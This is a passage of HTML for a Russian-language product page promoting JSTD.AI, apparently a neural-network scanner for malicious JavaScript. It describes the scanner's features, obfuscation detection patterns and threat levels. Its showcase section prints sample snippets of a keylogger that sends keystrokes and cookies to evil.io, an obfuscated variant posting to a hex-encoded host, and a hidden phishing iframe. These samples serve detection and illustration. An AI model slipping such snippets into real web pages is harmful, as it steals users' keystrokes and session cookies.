       <div class=\"algo-card algo-card--wide\">\n                    <div class=\"algo-card__label\" data-i18n=\"algo.nn_label\">Топология нейросети</div>\n                    <h3>50 → 30 → 1</h3>\n                    <p data-i18n=\"algo.nn_p\">Многослойный перцептрон с прямым распространением ошибки. Адаптивная скорость обучения снижается от 0.015 до 0.008 за 300 эпох.</p>\n                    <div class=\"nn-diagram\">\n                        <div class=\"nn-col\" id=\"nnColInput\">\n                            <div class=\"nn-label\" data-i18n-html=\"algo.nn_in_html\">Входной<br />слой</div>\n                            <div class=\"nn-sublabel\" data-i18n=\"algo.nn_in_sub\">50 нейронов</div>\n                        </div>\n                        <canvas class=\"nn-canvas\" id=\"nnCanvas\" width=\"260\" height=\"260\"></canvas>\n                        <div class=\"nn-col\" id=\"nnColHidden\">\n                            <div class=\"nn-label\" data-i18n-html=\"algo.nn_hid_html\">Скрытый<br />слой</div>\n                            <div class=\"nn-sublabel\" data-i18n=\"algo.nn_hid_sub\">30 нейронов</div>\n                        </div>\n                        <canvas class=\"nn-canvas\" id=\"nnCanvas2\" width=\"160\" height=\"260\"></canvas>\n                        <div class=\"nn-col\" id=\"nnColOutput\">\n                            <div class=\"nn-label\" data-i18n-html=\"algo.nn_out_html\">Выходной<br />слой</div>\n                            <div class=\"nn-sublabel\" data-i18n=\"algo.nn_out_sub\">1 нейрон</div>\n                        </div>\n                    </div>\n                    <div class=\"nn-params\">\n                        <div class=\"nn-param\"><span data-i18n=\"algo.p_in_lbl\">Вход → Скрытый</span><strong data-i18n-html=\"algo.p_in_val\">1 500 весов</strong></div>\n                        <div class=\"nn-param\"><span data-i18n=\"algo.p_hid_lbl\">Скрытый → Выход</span><strong data-i18n-html=\"algo.p_hid_val\">30 весов</strong></div>\n                        <div class=\"nn-param\"><span data-i18n=\"algo.p_bias_lbl\">Смещения</span><strong data-i18n-html=\"algo.p_bias_val\">31 параметр</strong></div>\n                        <div class=\"nn-param nn-param--total\"><span data-i18n=\"algo.p_tot_lbl\">ИТОГО</span><strong data-i18n-html=\"algo.p_tot_val\">1 561 параметр</strong></div>\n                    </div>\n                </div>\n\n                <!-- Feature Extraction -->\n                <div class=\"algo-card\">\n                    <div class=\"algo-card__label\" data-i18n=\"algo.feat_label\">Извлечение признаков</div>\n                    <h3 data-i18n=\"algo.feat_h3\">50 метрик кода</h3>\n                    <p data-i18n=\"algo.feat_p\">Каждый признак нормализован относительно длины файла для корректного сравнения файлов разного размера.\n                    </p>\n                    <div class=\"features-visual\">\n                        <div class=\"feat-bar-group\">\n                            <div class=\"feat-bar\" style=\"--v:83%;--c:#ff3366\" data-label=\"eval()\"><span>eval()</span>\n                                <div class=\"feat-bar__fill\"></div><em>0.83</em>\n                            </div>\n                            <div class=\"feat-bar\" style=\"--v:75%;--c:#ff6600\" data-label=\"Base64\"><span>Base64</span>\n                                <div class=\"feat-bar__fill\"></div><em>0.75</em>\n                            </div>\n                            <div class=\"feat-bar\" style=\"--v:81%;--c:#ff3366\" data-label=\"fetch()\"><span>fetch()</span>\n                                <div class=\"feat-bar__fill\"></div><em>0.81</em>\n                            </div>\n                            <div class=\"feat-bar\" style=\"--v:79%;--c:#ff6600\" data-label=\"cookie\"><span>cookie</span>\n                                <div class=\"feat-bar__fill\"></div><em>0.79</em>\n                            </div>\n                            <div class=\"feat-bar\" style=\"--v:62%;--c:#f59e0b\" data-label=\"Энтропия\">\n                                <span data-i18n=\"algo.feat_entropy\">Энтропия</span>\n                                <div class=\"feat-bar__fill\"></div><em>0.62</em>\n                            </div>\n                            <div class=\"feat-bar\" style=\"--v:45%;--c:#a78bfa\" data-label=\"Обфуск.\"><span data-i18n=\"algo.feat_obfusc\">Обфуск.</span>\n                                <div class=\"feat-bar__fill\"></div><em>0.45</em>\n                            </div>\n                            <div class=\"feat-bar\" style=\"--v:18%;--c:#00d4ff\" data-label=\"XHR\"><span>XHR</span>\n                                <div class=\"feat-bar__fill\"></div><em>0.18</em>\n                            </div>\n                            <div class=\"feat-bar\" style=\"--v:5%;--c:#00ff88\" data-label=\"Comments\"><span>Comments</span>\n                                <div class=\"feat-bar__fill\"></div><em>0.05</em>\n                            </div>\n                        </div>\n                    </div>\n                </div>\n\n                <!-- Entropy Analysis -->\n                <div class=\"algo-card\">\n                    <div class=\"algo-card__label\" data-i18n=\"algo.ent_label\">Энтропия Шеннона</div>\n                    <h3 data-i18n=\"algo.ent_h3\">Хаос — это сигнал</h3>\n                    <p data-i18n=\"algo.ent_p\">Случайность символов — прямой индикатор обфускации. Легитимный код предсказуем. Вредонос — нет.\n                    </p>\n                    <div class=\"entropy-visual\">\n                        <div class=\"entropy-row\">\n                            <span class=\"entropy-code\">\"aaaaaaa\"</span>\n                            <div class=\"entropy-bar\">\n                                <div class=\"entropy-fill\" style=\"width:0%;--c:#00ff88\"></div>\n                            </div>\n                            <span class=\"entropy-val safe\" data-i18n=\"algo.ent_v1\">Н=0.0</span>\n                        </div>\n                        <div class=\"entropy-row\">\n                            <span class=\"entropy-code\">function()</span>\n                            <div class=\"entropy-bar\">\n                                <div class=\"entropy-fill\" style=\"width:42%;--c:#00d4ff\"></div>\n                            </div>\n                            <span class=\"entropy-val\" data-i18n=\"algo.ent_v2\">Н=3.3</span>\n                        </div>\n                        <div class=\"entropy-row\">\n                            <span class=\"entropy-code\">fetch('/api')</span>\n                            <div class=\"entropy-bar\">\n                                <div class=\"entropy-fill\" style=\"width:55%;--c:#f59e0b\"></div>\n                            </div>\n                            <span class=\"entropy-val\" data-i18n=\"algo.ent_v3\">Н=4.1</span>\n                        </div>\n                        <div class=\"entropy-row\">\n                            <span class=\"entropy-code\">atob('dX...')</span>\n                            <div class=\"entropy-bar\">\n                                <div class=\"entropy-fill\" style=\"width:78%;--c:#ff6600\"></div>\n                            </div>\n                            <span class=\"entropy-val warn\" data-i18n=\"algo.ent_v4\">Н=5.8</span>\n                        </div>\n                        <div class=\"entropy-row\">\n                            <span class=\"entropy-code\">\\x64\\x6f\\x63...</span>\n                            <div class=\"entropy-bar\">\n                                <div class=\"entropy-fill\" style=\"width:100%;--c:#ff3366\"></div>\n                            </div>\n                            <span class=\"entropy-val crit\" data-i18n=\"algo.ent_v5\">Н=7.9</span>\n                        </div>\n                    </div>\n                </div>\n\n                <!-- Threat Levels -->\n                <div class=\"algo-card\">\n                    <div class=\"algo-card__label\" data-i18n=\"algo.thr_label\">Классификация угроз</div>\n                    <h3 data-i18n=\"algo.thr_h3\">5 уровней риска</h3>\n                    <p data-i18n=\"algo.thr_p\">Итоговый балл — взвешенная комбинация нейросетевого скора и эвристических триггеров. Ни один компонент не принимает решение в одиночку.</p>\n                    <div class=\"levels-visual\">\n                        <div class=\"level-row\">\n                            <div class=\"level-badge safe\">SAFE</div>\n                            <div class=\"level-range\">0 – 15%</div>\n                            <div class=\"level-desc\" data-i18n=\"algo.lv_safe\">Легитимный код. Угроз не обнаружено.</div>\n                        </div>\n                        <div class=\"level-row\">\n                            <div class=\"level-badge low\">LOW</div>\n                            <div class=\"level-range\">15 – 35%</div>\n                            <div class=\"level-desc\" data-i18n=\"algo.lv_low\">Незначительные подозрительные конструкции.</div>\n                        </div>\n                        <div class=\"level-row\">\n                            <div class=\"level-badge med\">MEDIUM</div>\n                            <div class=\"level-range\">35 – 65%</div>\n                            <div class=\"level-desc\" data-i18n=\"algo.lv_med\">Требует проверки. Возможные нарушения.</div>\n                        </div>\n                        <div class=\"level-row\">\n                            <div class=\"level-badge high\">HIGH</div>\n                            <div class=\"level-range\">65 – 85%</div>\n                            <div class=\"level-desc\" data-i18n=\"algo.lv_high\">Высокая вероятность вредоносности.</div>\n                        </div>\n                        <div class=\"level-row\">\n                            <div class=\"level-badge crit\">CRITICAL</div>\n                            <div class=\"level-range\">85 – 100%</div>\n                            <div class=\"level-desc\" data-i18n=\"algo.lv_crit\">НЕ ЗАПУСКАТЬ. Многократные триггеры.</div>\n                        </div>\n                    </div>\n                </div>\n\n                <!-- Weighted score -->\n                <div class=\"algo-card\">\n                    <div class=\"algo-card__label\" data-i18n=\"algo.sc_label\">Итоговый скор</div>\n                    <h3 data-i18n=\"algo.sc_h3\">Взвешенная формула</h3>\n                    <p data-i18n=\"algo.sc_p\">Финальный балл угрозы — не просто выход нейросети. Это консенсус трёх независимых компонентов с динамическими весами.</p>\n                    <div class=\"score-formula\">\n                        <div class=\"score-formula__row\">\n                            <span class=\"sf-label\" data-i18n=\"algo.sc_nn\">Нейросеть</span>\n                            <div class=\"sf-bar\">\n                                <div class=\"sf-fill\" style=\"--w:60%;--c:#00d4ff\"></div>\n                            </div>\n                            <span class=\"sf-weight\">×0.60</span>\n                        </div>\n                        <div class=\"score-formula__row\">\n                            <span class=\"sf-label\" data-i18n=\"algo.sc_heur\">Эвристика</span>\n                            <div class=\"sf-bar\">\n                                <div class=\"sf-fill\" style=\"--w:30%;--c:#a78bfa\"></div>\n                            </div>\n                            <span class=\"sf-weight\">×0.30</span>\n                        </div>\n                        <div class=\"score-formula__row\">\n                            <span class=\"sf-label\" data-i18n=\"algo.sc_ent\">Энтропия</span>\n                            <div class=\"sf-bar\">\n                                <div class=\"sf-fill\" style=\"--w:10%;--c:#f59e0b\"></div>\n                            </div>\n                            <span class=\"sf-weight\">×0.10</span>\n                        </div>\n                        <div class=\"score-formula__divider\"></div>\n                        <div class=\"score-formula__result\">\n                            <span data-i18n=\"algo.sc_tot\">Итог</span>\n                            <span class=\"sf-example\">0.60·NN + 0.30·H + 0.10·E</span>\n                        </div>\n                        <div class=\"score-formula__note\" data-i18n=\"algo.sc_note\">Веса автоматически пересчитываются при отсутствии эвристических триггеров\n                        </div>\n                    </div>\n                </div>\n\n                <!-- Obfuscation patterns -->\n                <div class=\"algo-card algo-card--wide\">\n                    <div class=\"algo-card__label\" data-i18n=\"algo.ob_label\">Детекция обфускации</div>\n                    <h3 data-i18n=\"algo.ob_h3\">Паттерны, которые прячутся</h3>\n                    <div class=\"obfusc-grid\">\n                        <div class=\"obfusc-item\">\n                            <div class=\"obfusc-icon\">\n                                <svg width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                    <path d=\"M3 12L21 12M3 12L9 6M3 12L9 18\" stroke=\"#ff3366\" stroke-width=\"1.4\" stroke-linecap=\"square\" />\n                                </svg>\n                            </div>\n                            <strong data-i18n=\"algo.ob_hex_t\">Hex-эскейпинг</strong>\n                            <code>\\x48\\x65\\x6c\\x6c\\x6f</code>\n                            <span data-i18n=\"algo.ob_hex_d\">Строки зашифрованы hex-последовательностями</span>\n                        </div>\n                        <div class=\"obfusc-item\">\n                            <div class=\"obfusc-icon\">\n                                <svg width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                    <rect x=\"3\" y=\"3\" width=\"8\" height=\"8\" stroke=\"#ff6600\" stroke-width=\"1.4\" />\n                                    <rect x=\"13\" y=\"3\" width=\"8\" height=\"8\" stroke=\"#ff6600\" stroke-width=\"1.4\" opacity=\".5\" />\n                                    <rect x=\"3\" y=\"13\" width=\"8\" height=\"8\" stroke=\"#ff6600\" stroke-width=\"1.4\" opacity=\".5\" />\n                                    <rect x=\"13\" y=\"13\" width=\"8\" height=\"8\" stroke=\"#ff6600\" stroke-width=\"1.4\" />\n                                </svg>\n                            </div>\n                            <strong>Array shuffling</strong>\n                            <code>_0x4a2b[0], [1]...</code>\n                            <span data-i18n=\"algo.ob_arr_d\">Строки разбиты по массивам с индексами</span>\n                        </div>\n                        <div class=\"obfusc-item\">\n                            <div class=\"obfusc-icon\">\n                                <svg width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                    <circle cx=\"12\" cy=\"12\" r=\"9\" stroke=\"#f59e0b\" stroke-width=\"1.4\" />\n                                    <path d=\"M12 7V13L16 15\" stroke=\"#f59e0b\" stroke-width=\"1.4\" stroke-linecap=\"square\" />\n                                </svg>\n                            </div>\n                            <strong data-i18n=\"algo.ob_b64_t\">Base64 цепочки</strong>\n                            <code>eval(atob('...'))</code>\n                            <span data-i18n=\"algo.ob_b64_d\">Многоуровневое декодирование перед исполнением</span>\n                        </div>\n                        <div class=\"obfusc-item\">\n                            <div class=\"obfusc-icon\">\n                                <svg width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                    <path d=\"M4 4L20 20M4 20L20 4\" stroke=\"#a78bfa\" stroke-width=\"1.4\" stroke-linecap=\"square\" />\n                                </svg>\n                            </div>\n                            <strong>Function constructor</strong>\n                            <code>new Function(str)()</code>\n                            <span data-i18n=\"algo.ob_fn_d\">Динамическое создание и запуск функций из строк</span>\n                        </div>\n                        <div class=\"obfusc-item\">\n                            <div class=\"obfusc-icon\">\n                                <svg width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                    <path d=\"M5 3H19V21H5V3Z\" stroke=\"#00d4ff\" stroke-width=\"1.4\" />\n                                    <path d=\"M9 8H15M9 12H15M9 16H12\" stroke=\"#00d4ff\" stroke-width=\"1.2\" opacity=\".5\" />\n                                </svg>\n                            </div>\n                            <strong>Prototype pollution</strong>\n                            <code>Object.prototype.__</code>\n                            <span data-i18n=\"algo.ob_pp_d\">Модификация базовых цепочек прототипов</span>\n                        </div>\n                        <div class=\"obfusc-item\">\n                            <div class=\"obfusc-icon\">\n                                <svg width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\">\n                                    <path d=\"M12 3L3 8V16L12 21L21 16V8L12 3Z\" stroke=\"#00ff88\" stroke-width=\"1.4\" />\n                                    <path d=\"M12 8V12M12 15V16\" stroke=\"#00ff88\" stroke-width=\"1.4\" stroke-linecap=\"square\" />\n                                </svg>\n                            </div>\n                            <strong>Self-modifying code</strong>\n                            <code>setTimeout(str, 0)</code>\n                            <span data-i18n=\"algo.ob_sm_d\">Строки в таймерах и event listeners как код</span>\n                        </div>\n                    </div>\n                </div>\n\n            </div>\n        </div>\n    </section>\n\n    <!-- ░░ THREAT SHOWCASE ░░ -->\n    <section class=\"section\" id=\"showcase\">\n        <div class=\"container\">\n            <div class=\"section__label\" data-i18n=\"show.label\">Реальные угрозы</div>\n            <h2 class=\"section__title\" data-i18n-html=\"show.title_html\">\n                Код, который <span class=\"highlight-slash\">убивает</span><br /> безопасность за 3 строки\n            </h2>\n            <div class=\"showcase-grid\">\n                <div class=\"showcase-item\">\n                    <div class=\"showcase-item__header\">\n                        <div class=\"level-badge crit\">CRITICAL</div>\n                        <span data-i18n=\"show.i1\">Кража сессии</span>\n                    </div>\n                    <pre class=\"showcase-code\"><code><span class=\"c-comment\">// Keylogger + exfiltration combo</span>\n<span class=\"c-kw\">document</span>.<span class=\"c-fn\">addEventListener</span>(<span class=\"c-str\">'keypress'</span>, e =&gt; {\n   <span class=\"c-fn\">fetch</span>(<span class=\"c-str\">'https://evil.io/k?v='</span> + e.key);\n});\n<span class=\"c-kw\">document</span>.<span class=\"c-fn\">cookie</span> = <span class=\"c-str\">''</span>;\n<span class=\"c-fn\">fetch</span>(<span class=\"c-str\">'https://evil.io/c?v='</span> +\n  <span class=\"c-kw\">btoa</span>(<span class=\"c-kw\">document</span>.cookie));</code></pre>\n                    <div class=\"showcase-item__score\"><span class=\"score-bar\" style=\"--w:96%\"></span><strong>96.2%</strong></div>\n                </div>\n                <div class=\"showcase-item\">\n                    <div class=\"showcase-item__header\">\n                        <div class=\"level-badge crit\">CRITICAL</div>\n                        <span data-i18n=\"show.i2\">Полная обфускация</span>\n                    </div>\n                    <pre class=\"showcase-code\"><code><span class=\"c-comment\">// Array-shuffled obfuscation</span>\n<span class=\"c-kw\">var</span> _0x4a2b = [<span class=\"c-str\">'keydown'</span>,\n  <span class=\"c-str\">'addEventL'</span>+<span class=\"c-str\">'istener'</span>,\n  <span class=\"c-str\">'key'</span>, <span class=\"c-str\">'POST'</span>,\n  <span class=\"c-str\">'https://\\x6c\\x6f\\x67'</span>+<span class=\"c-str\">'\\x67\\x65r.io'</span>];\n<span class=\"c-kw\">document</span>[_0x4a2b[1]](_0x4a2b[0],\n  <span class=\"c-kw\">function</span>(e){ <span class=\"c-fn\">xhr</span>[_0x4a2b[3]]\n  (e[_0x4a2b[2]]); });</code></pre>\n                    <div class=\"showcase-item__score\"><span class=\"score-bar\" style=\"--w:93%\"></span><strong>93.5%</strong></div>\n                </div>\n                <div class=\"showcase-item\">\n                    <div class=\"showcase-item__header\">\n                        <div class=\"level-badge high\">HIGH</div>\n                        <span data-i18n=\"show.i3\">Скрытый iframe</span>\n                    </div>\n                    <pre class=\"showcase-code\"><code><span class=\"c-comment\">// Hidden phishing overlay</span>\n<span class=\"c-kw\">var</span> f = <span class=\"c-kw\">document</span>.<span class=\"c-fn\">createElement</span>(\n  <span class=\"c-str\">'iframe'</span>);\nf.style.display = <span class=\"c-str\">'none'</span>;\nf.style.width = <span class=\"c-str\">'100vw'</span>;\nf.style.height = <span class=\"c-str\">'100vh'</span>;\nf.src = <span class=\"c-str\">'https://phishing.site'</span>;\n<span class=\"c-kw\">document</span>.body.<span class=\"c-fn\">appendChild</span>(f);</code></pre>\n                    <div class=\"showcase-item__score\"><span class=\"score-bar\" style=\"--w:78%\"></span><strong>78.4%</strong></div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ░░ TESTIMONIALS ░░ -->\n    <section class=\"section section--dark\" id=\"testimonials\">\n        <div class=\"container\">\n            <div class=\"section__label\" data-i18n=\"test.label\">Отзывы</div>\n            <h2 class=\"section__title\" data-i18n=\"test.h2\">Доверяют профессионалы</h2>\n            <p class=\"section__desc\" data-i18n=\"test.desc\">Компании используют JSTD.AI как первую линию обороны перед передачей кода между отделами и подрядчиками.</p>\n\n            <div class=\"testimonials\">\n                <div class=\"testimonials__track\" id=\"testimonialsTrack\">\n\n                    <div class=\"tcard\">\n                        <div class=\"tcard__quote\">\n                            <svg width=\"32\" height=\"24\" viewBox=\"0 0 32 24\" fill=\"none\">\n                                <path d=\"M0 24V14C0 9.333 1.6 5.333 4.8 2 6.133.667 7.6 0 9.2 0L10.4 2.4C8.267 3.2 6.667 4.4 5.6 6c-.8 1.2-1.2 2.533-1.2 4H8V24H0ZM18 24V14c0-4.667 1.6-8.667 4.8-12C24.133.667 25.6 0 27.2 0L28.4 2.4c-2.133.8-3.733 2-4.8 3.6-.8 1.2-1.2 2.533-1.2 4H26V24H18Z\" fill=\"#00d4ff\" fill-opacity=\"0.2\" />\n                            </svg>\n                        </div>\n                        <p class=\"tcard__text\" data-i18n=\"test.t1_text\">«Мы разрабатываем маркетплейс и регулярно получаем JS-виджеты от сторонних поставщиков. До JSTD.AI каждый файл приходилось читать вручную — или доверять. После одного инцидента с вшитым кейлоггером в виджете партнёра мы ввели обязательное\n                            сканирование. JSTD.AI за 2 секунды делает то, на что уходил час ревью.»</p>\n                        <div class=\"tcard__author\">\n                            <div class=\"tcard__avatar\" data-i18n=\"test.t1_av\">АК</div>\n                            <div>\n                                <strong data-i18n=\"test.t1_nm\">Андрей Климов</strong>\n                                <span data-i18n=\"test.t1_rl\">CTO, RetailEdge Platform</span>\n                            </div>\n                            <div class=\"tcard__stars\">★★★★★</div>\n                        </div>\n                        <div class=\"tcard__tag\" data-i18n=\"test.t1_tg\">E-commerce / SaaS</div>\n                    </div>\n\n                    <div class=\"tcard\">\n                        <div class=\"tcard__quote\">\n                            <svg width=\"32\" height=\"24\" viewBox=\"0 0 32 24\" fill=\"none\">\n                                <path d=\"M0 24V14C0 9.333 1.6 5.333 4.8 2 6.133.667 7.6 0 9.2 0L10.4 2.4C8.267 3.2 6.667 4.4 5.6 6c-.8 1.2-1.2 2.533-1.2 4H8V24H0ZM18 24V14c0-4.667 1.6-8.667 4.8-12C24.133.667 25.6 0 27.2 0L28.4 2.4c-2.133.8-3.733 2-4.8 3.6-.8 1.2-1.2 2.533-1.2 4H26V24H18Z\" fill=\"#a78bfa\" fill-opacity=\"0.2\" />\n                            </svg>\n                        </div>\n                        <p class=\"tcard__text\" data-i18n=\"test.t2_text\">«Наш отдел безопасности использует JSTD.AI для предварительного отсева исходников от фрилансеров перед тем, как они попадают на ревью архитекторам. За первый месяц система пометила 4 файла с реальными угрозами — один оказался полноценным\n                            бэкдором с WebSocket-каналом. Без инструмента мы бы пропустили.»</p>\n                        <div class=\"tcard__author\">\n                            <div class=\"tcard__avatar\" data-i18n=\"test.t2_av\">МВ</div>\n                            <div>\n                                <strong data-i18n=\"test.t2_nm\">Мария Воронова</strong>\n                                <span data-i18n=\"test.t2_rl\">Head of Security, FinStream Bank</span>\n                            </div>\n                            <div class=\"tcard__stars\">★★★★★</div>\n                        </div>\n                        <div class=\"tcard__tag\" data-i18n=\"test.t2_tg\">Финтех / Банкинг</div>\n                    </div>\n\n                    <div class=\"tcard\">\n                        <div class=\"tcard__quote\">\n                            <svg width=\"32\" height=\"24\" viewBox=\"0 0 32 24\" fill=\"none\">\n                                <path d=\"M0 24V14C0 9.333 1.6 5.333 4.8 2 6.133.667 7.6 0 9.2 0L10.4 2.4C8.267 3.2 6.667 4.4 5.6 6c-.8 1.2-1.2 2.533-1.2 4H8V24H0ZM18 24V14c0-4.667 1.6-8.667 4.8-12C24.133.667 25.6 0 27.2 0L28.4 2.4c-2.133.8-3.733 2-4.8 3.6-.8 1.2-1.2 2.533-1.2 4H26V24H18Z\" fill=\"#00ff88\" fill-opacity=\"0.2\" />\n                            </svg>\n                        </div>\n                        <p class=\"tcard__text\" data-i18n=\"test.t3_text\">«Мы аутсорсинговая студия — получаем готовый код от 12+ подрядчиков ежемесячно. JSTD.AI встроен в наш Slack-бот: разработчик закидывает файл, бот через 3 секунды отвечает уровнем угрозы. Два раза поймали prototype pollution в npm-скриптах,\n                            которые подрядчик \"случайно\" прокинул с продакшн-зависимостью.»</p>\n                        <div class=\"tcard__author\">\n                            <div class=\"tcard__avatar\" data-i18n=\"test.t3_av\">ДС</div>\n                            <div>\n                                <strong data-i18n=\"test.t3_nm\">Дмитрий Савельев</strong>\n                                <span data-i18n=\"test.t3_rl\">Tech Lead, CodeBridge Agency</span>\n                            </div>\n                            <div class=\"tcard__stars\">★★★★★</div>\n                        </div>\n                        <div class=\"tcard__tag\" data-i18n=\"test.t3_tg\">Аутсорс / Разработка</div>\n                    </div>\n\n                    <div class=\"tcard\">\n                        <div class=\"tcard__quote\">\n                            <svg width=\"32\" height=\"24\" viewBox=\"0 0 32 24\" fill=\"none\">\n                                <path d=\"M0 24V14C0 9.333 1.6 5.333 4.8 2 6.133.667 7.6 0 9.2 0L10.4 2.4C8.267 3.2 6.667 4.4 5.6 6c-.8 1.2-1.2 2.533-1.2 4H8V24H0ZM18 24V14c0-4.667 1.6-8.667 4.8-12C24.133.667 25.6 0 27.2 0L28.4 2.4c-2.133.8-3.733 2-4.8 3.6-.8 1.2-1.2 2.533-1.2 4H26V24H18Z\" fill=\"#ff6600\" fill-opacity=\"0.2\" />\n                            </svg>\n                        </div>\n                        <p class=\"tcard__text\" data-i18n=\"test.t4_text\">«Запускаем JSTD.AI как шаг в CI/CD перед деплоем на стейджинг-сервер. Интеграция заняла 20 минут. Теперь если в PR появляется что-то с eval() + Base64 — пайплайн падает автоматически и PR не мёрджится. Разработчики стали аккуратнее\n                            с зависимостями.»</p>\n                        <div class=\"tcard__author\">\n                            <div class=\"tcard__avatar\" data-i18n=\"test.t4_av\">ЕП</div>\n                            <div>\n                                <strong data-i18n=\"test.t4_nm\">Елена Петухова</strong>\n                                <span data-i18n=\"test.t4_rl\">DevOps Engineer, LogiCore Systems</span>\n                            </div>\n                            <div class=\"tcard__stars\">★★★★★</div>\n                        </div>\n                        <div class=\"tcard__tag\" data-i18n=\"test.t4_tg\">DevOps / CI-CD</div>\n                    </div>\n\n                    <div class=\"tcard\">\n                        <div class=\"tcard__quote\">\n                            <svg width=\"32\" height=\"24\" viewBox=\"0 0 32 24\" fill=\"none\">\n                                <path d=\"M0 24V14C0 9.333 1.6 5.333 4.8 2 6.133.667 7.6 0 9.2 0L10.4 2.4C8.267 3.2 6.667 4.4 5.6 6c-.8 1.2-1.2 2.533-1.2 4H8V24H0ZM18 24V14c0-4.667 1.6-8.667 4.8-12C24.133.667 25.6 0 27.2 0L28.4 2.4c-2.133.8-3.733 2-4.8 3.6-.8 1.2-1.2 2.533-1.2 4H26V24H18Z\" fill=\"#00d4ff\" fill-opacity=\"0.15\" />\n                            </svg>\n                        </div>\n                        <p class=\"tcard__text\" data-i18n=\"test.t5_text\">«Госконтракт требует сертификации поставляемого ПО. JSTD.AI генерирует HTML-отчёт с детализацией каждого найденного паттерна — это стало частью нашего пакета документов для заказчика. Больше не нужен отдельный пентест для базового\n                            аудита JS-компонентов.»</p>\n                        <div class=\"tcard__author\">\n                            <div class=\"tcard__avatar\" data-i18n=\"test.t5_av\">ИР</div>\n                            <div>\n                                <strong data-i18n=\"test.t5_nm\">Игорь Рязанцев</strong>\n                                <span data-i18n=\"test.t5_rl\">Information Security Auditor, GovTech Solutions</span>\n                            </div>\n                            <div class=\"tcard__stars\">★★★★★</div>\n                        </div>\n                        <div class=\"tcard__tag\" data-i18n=\"test.t5_tg\">Госсектор / Аудит ИБ</div>\n                    </div>\n\n                    <div class=\"tcard\">\n                        <div class=\"tcard__quote\">\n                            <svg width=\"32\" height=\"24\" viewBox=\"0 0 32 24\" fill=\"none\">\n                                <path d=\"M0 24V14C0 9.333 1.6 5.333 4.8 2 6.133.667 7.6 0 9.2 0L10.4 2.4C8.267 3.2 6.667 4.4 5.6 6c-.8 1.2-1.2 2.533-1.2 4H8V24H0ZM18 24V14c0-4.667 1.6-8.667 4.8-12C24.133.667 25.6 0 27.2 0L28.4 2.4c-2.133.8-3.733 2-4.8 3.6-.8 1.2-1.2 2.533-1.2 4H26V24H18Z\" fill=\"#a78bfa\" fill-opacity=\"0.15\" />\n                            </svg>\n                        </div>\n                        <p class=\"tcard__text\" data-i18n=\"test.t6_text\">«Перешли на JSTD.AI после того, как npm-аудит пропустил обфусцированный стилер в транзитивной зависимости. JSTD поймал его за секунду — eval внутри закодированной строки, которую стандартные линтеры считали валидным кодом. С тех\n                            пор это обязательный шаг перед каждым релизом.»</p>\n                        <div class=\"tcard__author\">\n                            <div class=\"tcard__avatar\" data-i18n=\"test.t6_av\">НБ</div>\n                            <div>\n                                <strong data-i18n=\"test.t6_nm\">Никита Белоусов</strong>\n                                <span data-i18n=\"test.t6_rl\">Senior Frontend Engineer, CloudStack Labs</span>\n                            </div>\n                            <div class=\"tcard__stars\">★★★★★</div>\n                        </div>\n                        <div class=\"tcard__tag\" data-i18n=\"test.t6_tg\">Облачные сервисы / Frontend</div>\n                    </div>\n\n                </div>\n\n                <div class=\"testimonials__controls\">\n                    <button class=\"tctl tctl--prev\" id=\"tPrev\" aria-label=\"Предыдущий\" data-i18n-label=\"test.prev\">\n                        <svg width=\"20\" height=\"20\" viewBox=\"0 0 20 20\" fill=\"none\">\n                            <path d=\"M13 4L7 10L13 16\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                        </svg>\n                    </button>\n                    <div class=\"testimonials__dots\" id=\"tDots\"></div>\n                    <button class=\"tctl tctl--next\" id=\"tNext\" aria-label=\"Следующий\" data-i18n-label=\"test.next\">\n                        <svg width=\"20\" height=\"20\" viewBox=\"0 0 20 20\" fill=\"none\">\n                            <path d=\"M7 4L13 10L7 16\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                        </svg>\n                    </button>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ░░ DOCS ░░ -->\n    <section class=\"section\" id=\"docs\">\n        <div class=\"container\">\n            <div class=\"section__label\" data-i18n=\"docs.label\">Документация</div>\n            <h2 class=\"section__title\" data-i18n-html=\"docs.h2_html\">Всё, что нужно знать<br />для работы</h2>\n            <p class=\"section__desc\" data-i18n=\"docs.desc\">JSTD.AI не требует настройки или технической экспертизы. Загрузите файл — получите результат. Ниже — полное описание интерфейса и интерпретация данных.</p>\n\n            <!-- QUICKSTART -->\n            <div class=\"docs-quickstart\">\n                <div class=\"docs-qs-step\">\n                    <div class=\"docs-qs-num\">01</div>\n                    <div class=\"docs-qs-body\">\n                        <strong data-i18n=\"docs.qs1_t\">Загрузите JS-файлы</strong>\n                        <p data-i18n-html=\"docs.qs1_p\">Нажмите кнопку <code>Load file(s)…</code> и выберите один или несколько\n                            <code>.js</code>-файлов. Поддерживается минифицированный, обфусцированный и многострочный код любого размера.\n                        </p>\n                    </div>\n                </div>\n                <div class=\"docs-qs-arrow\">\n                    <svg width=\"32\" height=\"16\" viewBox=\"0 0 32 16\" fill=\"none\">\n                        <path d=\"M0 8H28M23 3L29 8L23 13\" stroke=\"#00d4ff\" stroke-width=\"1.3\" stroke-linecap=\"square\" />\n                    </svg>\n                </div>\n                <div class=\"docs-qs-step\">\n                    <div class=\"docs-qs-num\">02</div>\n                    <div class=\"docs-qs-body\">\n                        <strong data-i18n=\"docs.qs2_t\">Дождитесь анализа</strong>\n                        <p data-i18n-html=\"docs.qs2_p\">Нейросетевой движок обрабатывает каждый файл за <code>&lt;&thinsp;1&thinsp;ms</code>. Результаты появляются мгновенно в панели <em>Analysis results</em>. Несколько файлов анализируются параллельно.</p>\n                    </div>\n                </div>\n                <div class=\"docs-qs-arrow\">\n                    <svg width=\"32\" height=\"16\" viewBox=\"0 0 32 16\" fill=\"none\">\n                        <path d=\"M0 8H28M23 3L29 8L23 13\" stroke=\"#00d4ff\" stroke-width=\"1.3\" stroke-linecap=\"square\" />\n                    </svg>\n                </div>\n                <div class=\"docs-qs-step\">\n                    <div class=\"docs-qs-num\">03</div>\n                    <div class=\"docs-qs-body\">\n                        <strong data-i18n=\"docs.qs3_t\">Изучите отчёт</strong>\n                        <p 